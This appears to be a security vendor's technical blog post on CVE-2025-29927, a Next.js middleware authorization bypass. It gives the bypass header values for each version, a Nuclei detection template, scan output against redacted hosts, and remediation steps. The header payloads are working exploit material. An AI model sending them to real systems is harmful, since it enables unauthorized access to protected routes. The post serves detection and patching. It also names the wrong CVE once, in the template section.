9 min read
CVE-2025-29927: Next.js Middleware Authorization Bypass - Technical Analysis

Table of Contents
- Technical Details
- The Next.js Middleware
- The vulnerability mechanism
- Exploitation Across Different Next.js Versions
- For versions prior to 12.2:
- For versions 12.2 and later:
- For versions 13.2.0 and later:
- Template
- Nuclei Templates Lab - CVE-2025-29927
- Impact Scenarios
- Remediation Strategies
- Official Patches
- Workaround for Unpatched Versions
- Timeline:
- Conclusion
- References
Authors
Next.js is an open-source web framework built by Vercel that powers React-based apps with features like server-side and static rendering. Recently, a critical vulnerability (CVE) was disclosed that lets attackers bypass middleware-based authorization checks. The issue was originally discovered and analyzed by Rachid Allam (zhero). In this blog, we’ll break down the vulnerability and walk through their research and will create a Nuclei template to help you detect it across your assets.
The vulnerability specifically affects the middleware functionality in Next.js, which is commonly used for implementing authorization, path rewriting, server-side redirects, and adding response headers such as Content Security Policy (CSP).
When exploited, an attacker can completely circumvent these middleware controls by adding a specially crafted x-middleware-subrequest
header to their HTTP requests.
All versions of Next.js from 11.1.4 through 13.5.6, 14.x before 14.2.25, and 15.x before 15.2.3 are affected by this vulnerability. The impact is particularly significant for applications that rely on middleware for implementing access controls, as attackers can gain unauthorized access to protected resources without authentication.
Next.js deployments hosted on Vercel are automatically protected against this vulnerability, as mentioned in the official security advisory. However, self-hosted Next.js applications remain vulnerable unless patched or mitigated using the recommended workarounds.
Technical Details
The Next.js Middleware
Next.js middleware is a powerful feature that allows developers to run code before a request is completed. As the official Next.js documentation states: "Middleware allows you to run code before a request is completed. Then, based on the incoming request, you can modify the response by rewriting, redirecting, modifying the request or response headers, or responding directly."The middleware functionality in Next.js has numerous use cases, but the most critical ones include:
- Path rewriting - Dynamically changing the requested path before it reaches the application logic
- Server-side redirects - Redirecting users based on certain conditions
- Adding response headers - Including security headers like Content Security Policy (CSP)
- Authentication and Authorization - Ensuring user identity and checking session cookies before granting access to specific pages or API routes
A common implementation pattern is using middleware for authorization, which involves protecting certain paths based on specific conditions. For example, when a user attempts to access a protected route like /dashboard/admin
, the middleware intercepts the request, checks if the user's session cookies are valid and if they have the necessary permissions. If the conditions are met, the middleware forwards the request; otherwise, it redirects the user to a login page.
The vulnerability mechanism
The vulnerability in CVE-2025-29927 stems from a design flaw in how Next.js processes the x-middleware-subrequest
header. This header was originally intended for internal use within the Next.js framework to prevent infinite middleware execution loops.When a Next.js application uses middleware, the runMiddleware
function is called to process incoming requests. As part of its functionality, this function checks for the presence of the x-middleware-subrequest
header. If this header exists and contains a specific value, the middleware execution is skipped entirely, and the request is forwarded directly to its original destination via NextResponse.next()
.
The vulnerability lies in the fact that this header check can be exploited by external users. By adding the x-middleware-subrequest
header with the correct value to a request, an attacker can completely bypass any middleware-based protection mechanisms.Here's how the vulnerability works at the code level:javascript
cli
1const subreq = params.request.headers["x-middleware-subrequest"];
2const subrequests = typeof subreq === "string" ? subreq.split(":") : [];
3
4if (subrequests.includes(middlewareInfo.name)) {
5 result = {
6 response: NextResponse.next(),
7 waitUntil: Promise.resolve(),
8 }
9 continue;
10}
This code snippet shows that if the x-middleware-subrequest
header value, when split by the colon character (:
), includes the middlewareInfo.name
value, the middleware is bypassed entirely.
Exploitation Across Different Next.js Versions
The exploitation method varies slightly depending on the Next.js version:
For versions prior to 12.2:
In these versions, middleware files had to be named _middleware.ts
and placed inside the pages
folder. The value of middlewareInfo.name
was composed of the directory name and the file name:
cli
1x-middleware-subrequest: pages/_middleware
For nested routes, there could be multiple middleware files at different levels, resulting in multiple possible values for the header:
cli
1x-middleware-subrequest: pages/dashboard/_middleware
or
cli
1x-middleware-subrequest: pages/dashboard/panel/_middleware
For versions 12.2 and later:
Starting with version 12.2, Next.js changed the middleware conventions. The file should be named middleware.ts
(without the underscore) and should no longer be located in the pages folder. For these versions, the payload is simpler:
cli
1x-middleware-subrequest: middleware
Additionally, Next.js allows for an alternative project structure with a /src
directory. In such cases, the payload would be:
cli
1x-middleware-subrequest: src/middleware
For versions 13.2.0 and later:
For versions 13.2.0 and above, Next.js introduced a maximum recursion depth for middleware execution. This was implemented to prevent infinite loops but doesn't affect the vulnerability. The exploitation remains the same, as the header check occurs before any recursion depth checks.
cli
1x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
Alternatively, for projects using a /src
directory structure:
cli
1x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
Template
The ProjectDiscovery research team wrote a template so that users can detect CVE-2023-46747 for the latest version in their attack surface. This was developed within 2 days of the CVE notification, and just within 24 hours after the public disclosure of the details of the vulnerability.
We’ve created a template for the most recent version, but users can modify it based on the version they’re using and scan their assets accordingly
Template Breakdown:
- Initial Request to Base URL:
- The template sends a
GET
request to the base URL ({{BaseURL}}
).
- The template sends a
- Detection of Next.js Application:
- It checks if the response body contains the string
"_next/static"
, which is indicative of a Next.js application.
- It checks if the response body contains the string
- Extraction of Endpoint URLs:
- Using a regular expression, the template extracts URLs from the response that match the pattern
href=['"](\/[^.\"']+)['"]
. These extracted endpoints are stored for further testing.
- Using a regular expression, the template extracts URLs from the response that match the pattern
- Iterative Testing of Extracted Endpoints:
- For each extracted endpoint, the template performs the following checks:
- Middleware Detection:
- Sends a
GET
request to the endpoint and checks if the response headers contain any of the following (case-insensitive):x-middleware-rewrite
,x-middleware-next
, orx-middleware-redirect
. The presence of these headers suggests that the endpoint is protected by middleware. Additionally, it verifies that the status code is not200
.
- Sends a
- Authorization Bypass Attempt:
- Middleware Detection:
- For each extracted endpoint, the template performs the following checks:
- Sends another
GET
request to the same endpoint, this time including the headerx-middleware-subrequest
with the valuemiddleware:middleware:middleware:middleware:middleware
andx-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
- Checks if the response status code is
200
, which would indicate that the middleware authorization has been bypassed, confirming the presence of the vulnerability.
Nuclei Template to detect CVE-2025-29927 - CVE Scan URL
yaml
1id: CVE-2025-29927
2
3info:
4 name: Next.js Middleware Bypass
5 author: pdresearch,pdteam
6 severity: critical
7 description: |
8 Next.js contains a critical middleware bypass vulnerability affecting versions 11.1.4 through 15.2.2.
9 The vulnerability allows attackers to bypass middleware security controls by sending a specially crafted
10 'x-middleware-subrequest' header, which can lead to authorization bypass and other security control circumvention.
11 reference:
12 - https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
13 - https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
14 remediation: |
15 Upgrade to Next.js 14.2.25 or 15.2.3 or later.
16 If upgrading is not possible, block the x-middleware-subrequest header at the WAF or server level.
17 classification:
18 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
19 cvss-score: 9.1
20 cwe-id: CWE-287
21 metadata:
22 max-request: 1
23 shodan-query: x-middleware-rewrite
24 fofa-query: x-middleware-rewrite
25 product: next.js
26 vendor: zeit
27 tags: cve,cve2025,nextjs,middleware,auth-bypass
28
29flow: |
30 http(1)
31 for(let endpoint_urls of iterate(template.endpoints)){
32 set("endpoints", endpoint_urls)
33 http(2) && http(3)
34 }
35
36http:
37 - method: GET
38 path:
39 - "{{BaseURL}}"
40
41 matchers:
42 - type: word
43 part: body
44 words:
45 - "_next/static"
46 internal: true
47
48 - type: word
49 part: header
50 words:
51 - "Next.js"
52 internal: true
53
54 extractors:
55 - type: regex
56 name: endpoints
57 part: body
58 group: 1
59 regex:
60 - "href=['\"](\\/[^\\.\"']+)['\"]"
61 internal: true
62
63 - method: GET
64 path:
65 - "{{BaseURL}}{{endpoints}}"
66
67 matchers:
68 - type: dsl
69 dsl:
70 - contains_any(to_lower(header), 'x-middleware-rewrite', 'x-middleware-next', 'x-middleware-redirect') && status_code != 200
71 - contains_any(to_lower(location), 'unauthorized') && status_code != 200
72 internal: true
73
74 - method: GET
75 path:
76 - "{{BaseURL}}{{endpoints}}"
77 headers:
78 X-Middleware-Subrequest: "{{nextjs_bypass}}"
79
80 payloads:
81 nextjs_bypass:
82 - "middleware:middleware:middleware:middleware:middleware"
83 - "src/middleware:src/middleware:src/middleware:src/middleware:src/middleware"
84
85 matchers:
86 - type: dsl
87 dsl:
88 - status_code == 200
89# digest: 490a0046304402201bcdebb7583c030e5a987d89883385579a930d1a071ba1e5e50cca1acfbada84022034ba91b066b49f57d0f0f3b8eec2063b1730802d6653f45ea82e43a540922529:922c64590222798bb761d5b6d8e72950
cli
1$ nuclei -u https://REDACTED -t http/cves/2025/CVE-2025-29927.yaml -vv
2
3 __ _
4 ____ __ _______/ /__ (_)
5 / __ \/ / / / ___/ / _ \/ /
6 / / / / /_/ / /__/ / __/ /
7/_/ /_/\__,_/\___/_/\___/_/ v3.3.10
8
9 projectdiscovery.io
10
11[INF] Current nuclei version: v3.3.10 (latest)
12[INF] Current nuclei-templates version: v10.1.5 (latest)
13[WRN] Scan results upload to cloud is disabled.
14[INF] New templates added in latest release: 281
15[INF] Templates loaded for current scan: 1
16[WRN] Loading 1 unsigned templates for scan. Use with caution.
17[INF] Targets loaded for current scan: 1
18[CVE-2025-29927] Next.js Middleware Bypass (@pdresearch,@pdteam) [critical]
19
20[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=west-cairo [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
21[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=ain-sokhna [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
22[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=north-coast [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
23[CVE-2025-29927] [http] [critical] https://REDACTED/explore [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
24[CVE-2025-29927] [http] [critical] https://REDACTED/explore?destination=east-cairo [nextjs_bypass="middleware:middleware:middleware:middleware:middleware"]
To demonstrate the vulnerability, consider a Next.js application with middleware that protects a route /dashboard/admin
by redirecting unauthorized users to /login
. An attacker can bypass this protection by sending a request with the appropriate header:
cli
1GET /dashboard/admin HTTP/1.1
2Host: example.com
3X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
With this header, the request completely bypasses the middleware's authorization checks and is forwarded directly to the /dashboard/admin
route, granting the attacker unauthorized access to protected resources.
Adem Kouki from the community also contributed a version-based headless template for those who want to check if a vulnerable version is in use. However, finding a vulnerable version doesn’t necessarily mean the host is actually exploitable.
Nuclei Templates Lab - CVE-2025-29927
We have recently launched our Nuclei Templates Lab, a dedicated environment designed for hands-on practice with the latest CVEs. We've included a lab specifically for CVE-2025-29927, allowing you to explore and understand this vulnerability in a controlled setting. You can access the lab for this CVE here
Impact Scenarios
The vulnerability can be exploited in several ways:
- Authorization Bypass: Attackers can access protected routes without proper authentication or authorization.
- Content Security Policy (CSP) Bypass: If CSP headers are added via middleware, attackers can bypass these security controls, potentially enabling cross-site scripting (XSS) attacks.
- Denial of Service via Cache-Poisoning: In certain configurations, attackers could poison caches with unauthorized content by bypassing middleware that sets cache control headers.
The simplicity of exploitation and the widespread use of Next.js for building modern web applications make this vulnerability particularly concerning. No special tools or complex techniques are required - just adding a single HTTP header with the correct value is sufficient to bypass security controls.
Remediation Strategies
Official Patches
Vercel, the company behind Next.js, has released patches for the vulnerability:
- For Next.js 15.x, the issue is fixed in version 15.2.3
- For Next.js 14.x, the issue is fixed in version 14.2.25
- For Next.js versions 11.1.4 through 13.5.6, users are advised to implement the workaround described below
Workaround for Unpatched Versions
If updating to a patched version is not immediately feasible, the recommended workaround is to prevent external user requests containing the x-middleware-subrequest
header from reaching your Next.js application.This can be implemented at various levels:
- Load Balancer Rules: If your application sits behind a load balancer like AWS ELB or Cloudflare, configure rules to strip this header from incoming requests.
Custom Middleware: As a last resort, you could implement a simple Express middleware (if using a custom server) that runs before Next.js to strip the header:javascript
cli
1app.use((req, res, next) => {
2 delete req.headers['x-middleware-subrequest'];
3 next();
4});
Web Server Configuration: If you're using Nginx, Apache, or another web server in front of your Next.js application, configure it to strip or block requests with the x-middleware-subrequest
header.For Nginx, you could add a configuration like:
cli
1# Strip x-middleware-subrequest header
2proxy_set_header x-middleware-subrequest "";
For Apache, you could use mod_headers:
cli
1RequestHeader unset x-middleware-subrequest
Timeline:
- March 21, 2025: Initial advisory and limited details for CVE-2025-29927 were published.
- March 23, 2025: Proof of Concept (PoC) was released.
- March 23, 2025: The Nuclei template was published by the ProjectDiscovery Research Team.
Conclusion
The discovery of CVE-2025-29927 serves as a critical reminder of how seemingly minor implementation details in web frameworks can lead to significant security vulnerabilities. It affects multiple versions across 11.x to 15.x, with serious implications for authorization. While Vercel-hosted deployments are automatically protected, self-hosted apps must patch or implement mitigation strategies.
The vulnerability’s ease of exploitation and impact make it a high-priority issue for Next.js users. Fortunately, official patches are available, and detection templates like the one from ProjectDiscovery can help organizations quickly identify affected systems.
To help security teams identify and mitigate this issue in their NextJS deployment, we have created a Nuclei template for detection automation. This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to proactively scan for this vulnerability as part of their continuous security assessments.
References
- GitHub Security Advisory GHSA-f82v-jwr5-mffw - Official security advisory for CVE-2025-29927 from the Next.js team
- Next.js Documentation on Middleware - Official documentation on Next.js middleware functionality
- Next.js and the corrupt middleware: the authorizing artifact - Original research by Rachid Allam (zhero) detailing the discovery and technical analysis of the vulnerability